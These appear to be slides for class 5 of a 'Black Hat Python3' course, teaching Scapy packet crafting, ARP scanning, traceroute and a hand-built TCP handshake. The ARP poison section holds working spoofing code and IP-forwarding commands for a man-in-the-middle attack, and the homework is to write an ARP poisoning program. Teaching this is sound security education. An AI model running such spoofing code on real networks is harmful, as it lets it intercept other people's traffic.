WELCOME TO CLASS 5!

BLACK HAT PYTHON3

RALEIGH ISSA

GITHUB REPO

https://github.com/tiarno/bhp3_class

SUMMARY FROM LAST CLASS

- UDP scanning
- Git commands on local
- Git commands for remote/upstream
- python import techniques
- code reuse (`getwords`)
- context managers

SCAPY

- python library
- interative tool using Python REPL (shell)
- create, decode, send, receive packets

INTERACTIVE SCAPY SHELL

```
>>> IP()
<IP |>
>>> target="www.google.com/30"
>>> ip=IP(dst=target)
>>> ip
<IP  dst=<Net www.google.com/30> |>
>>> ips = [p for p in ip]
>>> ips
[<IP  dst=172.217.4.36 |>, <IP  dst=172.217.4.37 |>,
 <IP  dst=172.217.4.38 |>, <IP  dst=172.217.4.39 |>]

>>> a = ips[0]
>>> a.dst
172.217.4.36
>>> a.ttl
```

ANOTHER VIEW

```
>>> str(a)
"b'E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00\\x07\\xff\\xc0\\
>>> new_ip = IP(str(a))
>>> new_ip
<IP  version=6 ihl=2 tos=0x27 len=17756 id=30768 flags=MF frag
```

`lsc(), ls()`

- IP
- TCP
- ICMP

COMMON COMMANDS

- rdppcap
- wrpcap
- send
- sr
- sniff
- filter (BPF)

ARP

```
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
arp = ARP(pdst='192.168.1.69/24')
ans, unans = srp(ether/arp, iface='en0', timeout=2) #Layer2
for snd, rcv in ans:
    print(rcv.sprintf(r"%ARP.psrc% %Ether.src%").split())
```

EVEN FASTER:

```
r, u = arping('192.168.1.0/24')
```

```
r[0][1].show()
```

ARP WATCH

```
from scapy.all import ARP, sniff

def arp_display(pkt):
    if pkt[ARP].op == 1:  # who-has (request)
        return f'Request: {pkt[ARP].psrc} is asking about {pkt
    if pkt[ARP].op == 2:  # is-at (response)
        return f'*Response: {pkt[ARP].hwsrc} has address {pkt[

sniff(prn=arp_display, filter='arp', store=0, count=10)
```

SCAPY GRAPHICS

```
res, unans = traceroute(['reachtim.com'], dport=[443], maxttl=

res.graph()
```

```
hosts = [
    'www.microsoft.com', 'www.cisco.com',
    'www.yahoo.com', 'www.wanadoo.fr',
    'www.pacsec.com']

res, unans = traceroute(hosts, dport=[80,443], maxttl=20, retr
res.graph()
```

```
a = Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html

hexdump(a)

a[0].pdfdump(layer_shift=1)
```

http://www.asciitable.com

BPF

http://biot.com/capstats/bpf.html

THREE-WAY HANDSHAKE

- on client:
  - `iptables -t filter -I OUTPUT -p tcp --sport 10000 --tcp-flags RST RST -j DROP`
  - `tcpdump -ni any port 8000 -S`

```
me, sport = '192.168.1.100', 10000
them, dport = '192.168.1.69', 8000
#
ip = IP(src=me, dst=them)
syn = TCP(sport=sport, dport=dport, flags='S', seq=1000)
synack = sr1(ip/syn)
ack = TCP(sport=sport, dport=dport, flags='A', seq=synack.ack,
send(ip/ack)
```

ARP POISON

- poison ARP cache of two devices
- tell each device attacker MAC is the other's address
- man-in-the-middle: monitor communications
- mac: `sysctl -w net.inet.ip.forwarding=1`
- linux: `echo 1 > /proc/sys/net/ipv4/ip_forward`

ARP POISON CODE

```
mymac = get_if_hwaddr('en0')
victim = '192.168.1.100'
gateway = '192.168.1.254'
packet = Ether()/ARP(op='who-has', hwsrc=mymac, psrc=victim, p
sendp(packet)
packet = Ether()/ARP(op='who-has', hwsrc=mymac, psrc=gateway,
sendp(packet)
```

PYTHON NAMED TUPLES

- immutable
- reference values like object properties
- more readable code

```
Point = namedtuple('Point', 'x y')
pt = Point(1.0, 2.0)
pt.x
pt.y
```

ARP POISON PROGRAM

`arper.py`

DNS SPOOFING:

https://thepacketgeek.com/scapy-p-09-scapy-and-dns/

YOUR JOB

- Reading (links below)
- Create your ARP Poison program
- Recreate your network scanner using scapy
- Consider ways to protect against it

READING

1. https://scapy.net/demo/
2. https://thepacketgeek.com/series/building-network-t
   scapy/
3. https://www.cisco.com/c/en/us/products/collateral/sw
   6500-series-switches/white_paper_c11_603839.html
4. https://codingsec.net/2016/06/arp-spoofing-attack/
5. http://biot.com/capstats/bpf.html

FEEDBACK PLEASE!

- tim@reachtim.com
- discord: https://discord.gg/WR23qUj